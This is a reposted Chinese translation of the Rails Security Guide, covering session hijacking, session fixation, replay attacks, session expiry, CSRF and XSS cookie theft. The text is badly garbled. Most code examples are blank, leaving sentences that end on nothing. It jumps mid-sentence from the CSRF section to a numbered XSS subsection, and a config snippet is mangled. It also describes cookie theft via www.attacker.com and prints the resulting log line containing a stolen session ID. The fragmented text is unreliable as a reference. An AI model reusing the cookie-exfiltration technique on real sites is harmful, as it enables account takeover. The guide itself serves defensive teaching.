Rails 安全指南

阅读 1505
收藏 31
2015-08-13
原文链接:guides.ruby-china.org

1 简介

网页程序框架的作用是帮助开发者构建网页程序。有些框架还能增强网页程序的安全性。其实框架之间无所谓谁更安全,只要使用得当,就能开发出安全的程序。Rails 提供了很多智能的帮助方法,例如避免 SQL 注入的方法,可以避免常见的安全隐患。我很欣慰,我所审查的 Rails 程序安全性都很高。

一般来说,安全措施不能随取随用。安全性取决于开发者怎么使用框架,有时也跟开发方式有关。而且,安全性受程序架构的影响:存储方式,服务器,以及框架本身等。

不过,根据加特纳咨询公司的研究,约有 75% 的攻击发生在网页程序层,“在 300 个审查的网站中,97% 有被攻击的可能”。网页程序相对而言更容易攻击,因为其工作方式易于理解,即使是外行人也能发起攻击。

网页程序面对的威胁包括:窃取账户,绕开访问限制,读取或修改敏感数据,显示欺诈内容。攻击者有可能还会安装木马程序或者来路不明的邮件发送程序,用于获取经济利益,或者修改公司资源,破坏企业形象。为了避免受到攻击,最大程度的降低被攻击后的影响,首先要完全理解各种攻击方式,这样才能有的放矢,找到最佳对策——这就是本文的目的。

为了能开发出安全的网页程序,你必须要了解所用组件的最新安全隐患,做到知己知彼。想了解最新的安全隐患,可以订阅安全相关的邮件列表,阅读关注安全的博客,养成更新和安全检查的习惯。详情参阅“ 其他资源”一节。我自己也会动手检查,这样才能找到可能引起安全问题的代码。

2 会话

会话是比较好的切入点,有一些特定的攻击方式。

2.1 会话是什么

大多数程序都要记录用户的特定状态,例如购物车里的商品,或者当前登录用户的 ID。没有会话,每次请求都要识别甚至重新认证用户。Rails 会为访问网站的每个用户创建会话,如果同一个用户再次访问网站,Rails 会加载现有的会话。

会话一般会存储一个 Hash,以及会话 ID。ID 是由 32 个字符组成的字符串,用于识别 Hash。发送给浏览器的每个 cookie 中都包含会话 ID,而且浏览器发送到服务器的每个请求中也都包含会话 ID。在 Rails 程序中,可以使用 session 方法保存和读取会话:

session[:user_id] = @current_user.id
User.find(session[:user_id])

2.2 会话 ID

会话 ID 是 32 位字节长的 MD5 哈希值。

会话 ID 是一个随机生成的哈希值。这个随机生成的字符串中包含当前时间,0 和 1 之间的随机数字,Ruby 解释器的进程 ID(随机生成的数字),以及一个常量。目前,还无法暴力破解 Rails 的会话 ID。虽然 MD5 很难破解,但却有可能发生同值碰撞。理论上有可能创建完全一样的哈希值。不过,这没什么安全隐患。

2.3 会话劫持

窃取用户的会话 ID 后,攻击者就能以该用户的身份使用网页程序。

很多网页程序都有身份认证系统,用户提供用户名和密码,网页程序验证提供的信息,然后把用户的 ID 存储到会话 Hash 中。此后,这个会话都是有效的。每次请求时,程序都会从会话中读取用户 ID,加载对应的用户,避免重新认证用户身份。cookie 中的会话 ID 用于识别会话。

因此,cookie 是网页程序身份认证系统的中转站。得到 cookie,就能以该用户的身份访问网站,这会导致严重的后果。下面介绍几种劫持会话的方法以及对策。

  • 在不加密的网络中嗅听 cookie。无线局域网就是一种不安全的网络。在不加密的无线局域网中,监听网内客户端发起的请求极其容易。这是不建议在咖啡店工作的原因之一。对网页程序开发者来说,可以使用 SSL 建立安全连接避免嗅听。在 Rails 3.1 及以上版本中,可以在程序的设置文件中设置强制使用 SSL 连接:

  • 大多数用户在公用终端中完工后不清除 cookie。如果前一个用户没有退出网页程序,你就能以该用户的身份继续访问网站。网页程序中一定要提供“退出”按钮,而且要放在特别显眼的位置。

  • 很多跨站脚本(cross-site scripting,简称 XSS)的目的就是窃取用户的 cookie。详情参阅“跨站脚本”一节。

  • 有时攻击者不会窃取用户的 cookie,而为用户指定一个会话 ID。这叫做“会话固定攻击”,后文会详细介绍。

大多数攻击者的动机是获利。赛门铁克全球互联网安全威胁报告指出,在地下市场,窃取银行账户的价格为 10-1000 美元(视账户余额而定),窃取信用卡卡号的价格为 0.40-20 美元,窃取在线拍卖网站账户的价格为 1-8 美元,窃取 Email 账户密码的价格为 4-30 美元。

2.4 会话安全指南

下面是一些常规的会话安全指南。

  • 不在会话中存储大型对象。大型对象要存储在数据库中,会话中只保存对象的 ID。这么做可以避免同步问题,也不会用完会话存储空间(空间大小取决于所使用的存储方式,详情见后文)。如果在会话中存储大型对象,修改对象结构后,旧版数据仍在用户的 cookie 中。在服务器端存储会话可以轻而易举地清除旧会话数据,但在客户端中存储会话就无能为力了。

  • 敏感数据不能存储在会话中。如果用户清除 cookie,或者关闭浏览器,数据就没了。在客户端中存储会话数据,用户还能读取敏感数据。

2.5 会话存储

Rails 提供了多种存储会话的方式,其中最重要的一个是 ActionDispatch::Session::CookieStore

Rails 2 引入了一个新的默认会话存储方式,CookieStoreCookieStore 直接把会话存储在客户端的 cookie 中。服务器无需会话 ID,可以直接从 cookie 中获取会话。这种存储方式能显著提升程序的速度,但却存在争议,因为有潜在的安全隐患:

  • cookie 中存储的内容长度不能超过 4KB。这个限制没什么影响,因为前面说过,会话中不应该存储大型数据。在会话中存储用户对象在数据库中的 ID 一般来说也是可接受的。

  • 客户端能看到会话中的所有数据,因为其中的内容都是明文(使用 Base64 编码,因此没有加密)。因此,不能存储敏感信息。为了避免篡改会话,Rails 会根据服务器端的密令生成摘要,添加到 cookie 的末尾。

因此,cookie 的安全性取决于这个密令(以及计算摘要的算法,为了兼容,默认使用 SHA1)。密令不能随意取值,例如从字典中找个单词,长度也不能少于 30 个字符。

secrets.secret_key_base 指定一个密令,程序的会话用其和已知的安全密令比对,避免会话被篡改。secrets.secret_key_base 是个随机字符串,保存在文件 config/secrets.yml 中:

development:
  secret_key_base: a75d...

test:
  secret_key_base: 492f...

production:
  secret_key_base: <%= env["secret_key_base"]="" %="">

Rails 以前版本中的 CookieStore 使用 secret_token,新版中的 EncryptedCookieStore 使用 secret_key_base。详细说明参见升级指南。

如果你的程序密令暴露了(例如,程序的源码公开了),强烈建议你更换密令。

2.6 CookieStore 存储会话的重放攻击

重放攻击的工作方式如下:

  • 用户收到一些点数,数量存储在会话中(不应该存储在会话中,这里只做演示之用);
  • 用户购买了商品;
  • 剩余点数还在会话中;
  • 用户心生歹念,复制了第一步中的 cookie,替换掉浏览器中现有的 cookie;
  • 用户的点数又变成了消费前的数量;

在会话中写入一个随机值(nonce)可以避免重放攻击。这个随机值只能通过一次验证,服务器记录了所有合法的随机值。如果程序用到了多个服务器情况就变复杂了。把随机值存储在数据库中就违背了使用 CookieStore 的初衷(不访问数据库)。

避免重放攻击最有力的方式是,不在会话中存储这类数据,将其存到数据库中。针对上例,可以把点数存储在数据库中,把登入用户的 ID 存储在会话中。

2.7 会话固定攻击

攻击者可以不窃取用户的会话 ID,使用一个已知的会话 ID。这叫做“会话固定攻击”(session fixation)

会话固定攻击

会话固定攻击的关键是强制用户的浏览器使用攻击者已知的会话 ID。因此攻击者无需窃取会话 ID。攻击过程如下:

  • 攻击者创建一个合法的会话 ID:打开网页程序的登录页面,从响应的 cookie 中获取会话 ID(如上图中的第 1 和第 2 步)。
  • 程序有可能在维护会话,每隔一段时间,例如 20 分钟,就让会话过期,减少被攻击的可能性。因此,攻击者要不断访问网页程序,让会话保持可用。
  • 攻击者强制用户的浏览器使用这个会话 ID(如上图中的第 3 步)。由于不能修改另一个域名中的 cookie(基于同源原则),攻击者就要想办法在目标网站的域中运行 JavaScript,通过跨站脚本把 JavaScript 注入目标网站。一个跨站脚本示例:。跨站脚本及其注入方式参见后文。
  • 攻击者诱引用户访问被 JavaScript 代码污染的网页。查看这个页面后,用户浏览器中的会话 ID 就被篡改成攻击者伪造的会话 ID。
  • 因为伪造的会话 ID 还没用过,所以网页程序要认证用户的身份。
  • 此后,用户和攻击者就可以共用同一个会话访问这个网站了。攻击者伪造的会话 ID 漂白了,而用户浑然不知。

2.8 会话固定攻击的对策

最有效的对策是,登录成功后重新设定一个新的会话 ID,原来的会话 ID 作废。这样,攻击者就无法使用固定的会话 ID 了。这个对策也能有效避免会话劫持。在 Rails 中重设会话的方式如下:

如果用了流行的 RestfulAuthentication 插件管理用户,要在 SessionsController#create 动作中调用 reset_session 方法。注意,这个方法会清除会话中的所有数据,你要把用户转到新的会话中

另外一种对策是把用户相关的属性存储在会话中,每次请求都做验证,如果属性不匹配就禁止访问。用户相关的属性可以是 IP 地址或用户代理名(浏览器名),不过用户代理名和用户不太相关。存储 IP 地址时要注意,有些网络服务提供商或者大型组织把用户的真实 IP 隐藏在代理后面,对会话有比较大的影响,所以这些用户可能无法使用程序,或者使用受限。

2.9 会话过期

永不过期的会话增加了跨站请求伪造、会话劫持和会话固定攻击的可能性。

cookie 的过期时间可以通过会话 ID 设定。然而,客户端可以修改存储在浏览器中的 cookie,因此在服务器上把会话设为过期更安全。下面的例子把存储在数据库中的会话设为过期。Session.sweep("20 minutes") 把二十分钟前的会话设为过期。

class Session < ActiveRecord::Base
  def self.sweep(time = 1.hour)
    if time.is_a?(String)
      time = time.split.inject { |count, unit| count.to_i.send(unit) }
    end

    delete_all "updated_at < '#{time.ago.to_s(:db)}'"
  end
end

在“会话固定攻击”一节提到过维护会话的问题。虽然上述代码能把会话设为过期,但攻击者每隔五分钟访问一次网站就能让会话始终有效。对此,一个简单的解决办法是在会话数据表中添加 created_at 字段,删除很久以前创建的会话。在上面的代码中加入下面的代码即可:

delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
  created_at < '#{2.days.ago.to_s(:db)}'"

3 跨站请求伪造

跨站请求伪造(cross-site request forgery,简称 CSRF)攻击的方法是在页面中包含恶意代码或者链接,攻击者认为被攻击的用户有权访问另一个网站。如果用户在那个网站的会话没有过期,攻击者就能执行未经授权的操作。

跨站请求伪造

读过前一节我们知道,大多数 Rails 程序都使用 cookie 存储会话,可能只把会话 ID 存储在 cookie 中,而把会话内容存储在服务器上,或者把整个会话都存储在客户端。不管怎样,只要能找到针对某个域名的 cookie,请求时就会连同该域中的 cookie 一起发送。这就是问题所在,如果请求由域名不同的其他网站发起,也会一起发送 cookie。我们来看个例子。

  • Bob 访问一个留言板,其中有篇由黑客发布的帖子,包含一个精心制造的 HTML 图片元素。这个元素指向 Bob 的项目管理程序中的某个操作,而不是真正的图片文件。
  • 图片元素的代码为
  • Bob 在 www.webapp.com 网站上的会话还有效,因为他并没有退出。
  • 查看这篇帖子后,浏览器发现有个图片标签,尝试从 www.webapp.com 加载这个可疑的图片。如前所述,浏览器会同时发送 cookie,其中就包含可用的会话 ID。
  • www.webapp.com 验证了会话中的用户信息,销毁 ID 为 1 的项目。请求得到的响应页面浏览器无法解析,因此不会显示图片。
  • Bob 并未察觉到被攻击了,一段时间后才发现 ID 为 1 的项目不见了。

有一点要特别注意,精心制作的图片或链接无需出现在网页程序的同一域名中,任何地方都可以,论坛、博客,甚至是电子邮件。

CSRF 很少出现在 CVE(通用漏洞披露,Common Vulnerabilities and Exposures)中,2006 年比例还不到 0.1%,但却是个隐形杀手。这倒和我(以及其他人)的安全合约工作得到的结果完全相反——CSRF 是个严重的安全问题

3.1 CSRF 的对策

首先,遵守 W3C 的要求,适时地使用 GET 和 POST 请求。其次,在非 GET 请求中加入安全权标可以避免程序受到 CSRF 攻击。

HTTP 协议提供了两种主要的基本请求类型,GET 和 POST(当然还有其他请求类型,但大多数浏览器都不支持)。万维网联盟(World Wide Web Consortium,简称 W3C)提供了一个检查表用于选择 GET 和 POST:

使用 GET 请求的情形:

使用 POST 请求的情形:

  • 交互更像是执行某项命令;
  • 交互改变了资源的状态,且用户能察觉到这个变化,例如订阅一项服务;
  • 交互的结果由用户负责;

如果你的网页程序使用 REST 架构,可能已经用过其他 HTTP 请求,例如 PATCH、PUT 和 DELETE。现今的大多数浏览器都不支持这些请求,只支持 GET 和 POST。Rails 使用隐藏的 _method 字段处理这一难题。

POST 请求也能自动发送。举个例子,下面这个链接虽在浏览器的状态栏中显示的目标地址是 www.harmless.com ,但其实却动态地创建了一个表单,发起 POST 请求。

攻击者还可以把代码放在图片的 onmouseover 事件句柄中:



伪造请求还有其他方式,例如使用

上面的 JavaScript 只是显示一个提示框。下面的例子作用相同,但放在不太平常的地方:


7.3.2.1 盗取 cookie

上面的例子没什么危害,下面来看一下攻击者如何盗取用户 cookie(因此也能劫持会话)。在 JavaScript 中,可以使用 document.cookie 读写 cookie。JavaScript 强制使用同源原则,即一个域中的脚本无法访问另一个域中的 cookie。document.cookie 属性中保存的 cookie 来自源服务器。不过,如果直接把代码放在 HTML 文档中(就跟跨站脚本一样),就可以读写这个属性。把下面的代码放在程序的任何地方,看一下页面中显示的 cookie 值:



对攻击者来说,这么做没什么用,因为用户看到了自己的 cookie。下面这个例子会从 www.attacker.com/ 加载一个图片和 cookie。当然,这个地址并不存在,因此浏览器什么也不会显示。但攻击者可以查看服务器的访问日志获取用户的 cookie。



www.attacker.com 服务器上的日志文件中可能有这么一行记录:

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

在 cookie 中加上 httpOnly 标签可以避免这种攻击,加上 httpOnly 后,JavaScript 就无法读取 document.cookie 属性的值。IE v6.SP1、Firefox v2.0.0.5 和 Opera 9.5 都支持只能使用 HTTP 请求访问的 cookie,Safari 还在考虑这个功能,暂时会忽略这个选项。但在其他浏览器,或者旧版本的浏览器(例如 WebTV 和 Mac 系统中的 IE 5.5)中无法加载页面。有一点要注意,使用 Ajax 仍可读取 cookie

7.3.2.2 涂改

攻击者可通过网页涂改做很多事情,例如,显示错误信息,或者引导用户到攻击者的网站,偷取登录密码或者其他敏感信息。最常见的涂改方法是使用 iframe 加载外部代码:



iframe 可以从其他网站加载任何 HTML 和 JavaScript。上述 iframe 是使用 Mpack 框架攻击意大利网站的真实代码。Mpack 尝试通过浏览器的安全漏洞安装恶意软件,成功率很高,有 50% 的攻击成功了。

更特殊的攻击是完全覆盖整个网站,或者显示一个登陆框,看去来和原网站一模一样,但把用户名和密码传给攻击者的网站。还可使用 CSS 或 JavaScript 把网站中原来的链接隐藏,换上另一个链接,把用户带到仿冒网站上。

还有一种攻击方式不保存信息,把恶意代码包含在 URL 中。如果搜索表单不过滤搜索关键词,这种攻击就更容易实现。下面这个链接显示的页面中包含这句话“乔治•布什任命 9 岁男孩为主席...”:

http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
  

评论